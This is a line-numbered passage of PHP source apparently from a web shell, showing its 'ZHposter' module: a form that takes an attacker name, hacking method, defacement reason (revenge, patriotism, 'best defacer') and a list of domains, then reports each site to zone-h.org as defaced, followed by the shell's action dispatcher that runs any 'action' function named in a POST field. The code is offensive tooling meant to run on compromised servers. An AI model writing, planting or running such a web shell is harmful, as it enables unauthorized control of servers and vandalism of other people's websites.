2441<option value="30" >Not available</option>
2442</select>
2443</br>
2444<select name="p3">
2445<option >--------SELECT--------</option>
2446<option value="1" >Heh...just for fun!</option>
2447<option value="2" >Revenge against that website</option>
2448<option value="3" >Political reasons</option>
2449<option value="4" >As a challenge</option>
2450<option value="5" >I just want to be the best defacer</option>
2451<option value="6" >Patriotism</option>
2452<option value="7" >Not available</option>
2453</select>
2454</br>
2455<textarea name="p4" cols="44" rows="9">List Of Domains</textarea>
2456<input type="submit" value="Send Now !" />
2457</form>';
2458echo "</td></tr></table></form>";
2459
2460if($_POST['a'] == 'ZHposter')
2461{
2462 ob_start();
2463 $sub = @get_loaded_extensions();
2464 if(!in_array("curl", $sub))
2465 {
2466 die('[-] Curl Is Not Supported !! ');
2467 }
2468
2469 $hacker9 = $_POST['p1'];
2470 $method9 = $_POST['p2'];
2471 $neden9 = $_POST['p3'];
2472 $site9 = $_POST['p4'];
2473
2474 if (empty($hacker9))
2475 {
2476 die ("[#] You Must Fill In The Attacker Name !");
2477 }
2478 elseif($method9 == "--------SELECT--------")
2479 {
2480 die("[#] You Must Select The Method !");
2481 }
2482 elseif($neden9 == "--------SELECT--------")
2483 {
2484 die("[#] You Must Select The Reason");
2485 }
2486 elseif(empty($site9))
2487 {
2488 die("[#] You Must Enter the Sites List ! ");
2489 }
2490
2491 $i = 0;
2492 $sites = explode("\n", $site9);
2493 while($i < count($sites))
2494 {
2495
2496 if(substr($sites[$i], 0, 4) != "http")
2497 {
2498 $sites[$i] = "http://".$sites[$i];
2499 }
2500 ZoneH("http://zone-h.org/notify/single", $hacker9, $method9, $neden9, $sites[$i]);
2501 echo "Site : ".$sites[$i]." Defaced ! </br>";
2502 ++$i;
2503 }
2504 echo "[#] Sites Sent To Zone-H :D !! ";
2505
2506 }
2507echo '</div>';
2508printFooter();
2509}
2510if( empty($_POST['a']) )
2511 if(isset($default_action) && function_exists('action' . $default_action))
2512 $_POST['a'] = $default_action;
2513 else
2514 $_POST['a'] = 'SecInfo';
2515if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
2516 call_user_func('action' . $_POST['a'])
2517?>